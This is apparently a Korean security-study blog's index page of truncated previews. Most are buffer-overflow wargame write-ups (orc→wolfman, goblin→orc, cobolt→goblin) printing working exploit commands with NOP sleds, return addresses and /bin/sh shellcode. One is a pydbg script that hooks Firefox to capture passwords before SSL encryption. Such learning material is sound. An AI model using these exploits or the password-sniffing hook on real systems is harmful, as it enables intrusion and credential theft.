전체 글 (270) 썸네일형 리스트형 orc -> wolfman buffer 를 초기화 시키는 게 추가됨.일단 버퍼 + SFP + RET + NOP + SHELLCODE방식으로 버퍼에 넣는것이 아닌, RET 뒤에 NOP 슬라이드와 쉘코드를 넣어야 할듯. 중요한건 bash2 로 해야한다는것bash 는 \xff 를 다르게 인식함. [orc@localhost orc]$ ./wolfman `python -c 'print"\x90"*44 + "\x2c\xfc\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`��������������������������������������������,������.. CCTV (시연용) 보호되어 있는 글입니다. goblin -> orc 환경변수를 이용할 수 없게 extern char **environ 을 이용해 for(i=0;environ[i];i++)memset(environ[i],0,strlen(environ[i])); 으로 환경변수를 초기화 시켜버린다.그 후 argv[1][47] (RET의 끝부분) 이 "\xbf" 가 아니면 종료시켜버린다.아마 스택을 이용하라는 뜻같다. 스택에 쉘코드를 넣고, 스택 내부로 RET를 돌릴 것이다.우리가 이용할 수 있는 크기는 44 므로,NOP(12) + SHELLCODE(25) + NOP(7) = 44 로 짰다. [goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\.. cobolt -> goblin 환경변수에 쉘코드를 등록해놓고 Ret 를 환경변수로 돌리는 방식으로 풀었다.이 때, 약간 주의해야 할 점은1. 환경변수 앞에 NOP를 많이 넣을 것.2. RET 에 정확한 환경변수 주소값을 넣지 말고, 약간 주소를 더한 값을 넣을 것. 환경변수 이름의 길이에 따라 주소값이 밀릴 수 있어, 약간 밀린 주소를 써주는 것이 NOP 슬라이드를 타게하는데 용이하다. [cobolt@localhost cobolt]$ (python -c 'print "\x90"*20 + "\x40\x86\xff\xbf"'; cat) | ./goblin ��������������������@��� iduid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502.. firfox_hook.py from pydbg import * from pydbg.defines import * import utils import sys dbg = pydbg() found_firefox = False pattern = "password" def ssl_sniff(dbg,args): buffer = "" offset = 0 while 1: byte = dbg.read_process_memory(args[1] + offset, 1) if byte != "\x00": buffer += byte offset += 1 continue else: break if pattern in buffer: print "Pre-Encrypted: %s" % buffer return DBG_CONTINUE # find firefox P.. hippie_easy.py import immlib import immutils def getRet(imm,allocaddr,max_opcodes = 300): addr = allocaddr for a in range(0,max_opcodes): op = imm.disasmForward(addr) if op.isRet(): if op.getImmConst() == 0xC: op = imm.disasmBackward(addr,3) return op.getAddress() addr = op.getAddress() return 0x0 def showresult(imm,a,rtlallocate): if a[0] == rtlallocate: imm.log("RtlAllocateHeap(0x%08x,0x%08x,0x%08x) 질문 정리 (2015-01-26) 1. 메모리에 직접 헥스값을 넣는 방법2. args 형태로 넣는 헥스값과 소스파일내에서 초기화한 헥스값의 길이차이. 8시간의 대장정. from immlib import * def main(args): shellcode="\x7f\xac" length = len(shellcode) shellcode=shellcode.encode("HEX") imm = Debugger() imm.log("Shellcode length : %s" % len(shellcode)) # shellcode = shellcode.encode("HEX") imm.log("We Finding : %s" % shellcode) regs = imm.getRegs() imm.log("EIP : 0x%08x" % regs['EIP']) imm.log("EBP : 0x%08x" % regs['EBP']) imm.log("ESP : 0x%08x" % regs['ESP']) add.. 이전 1 ··· 19 20 21 22 23 24 25 ··· 34 다음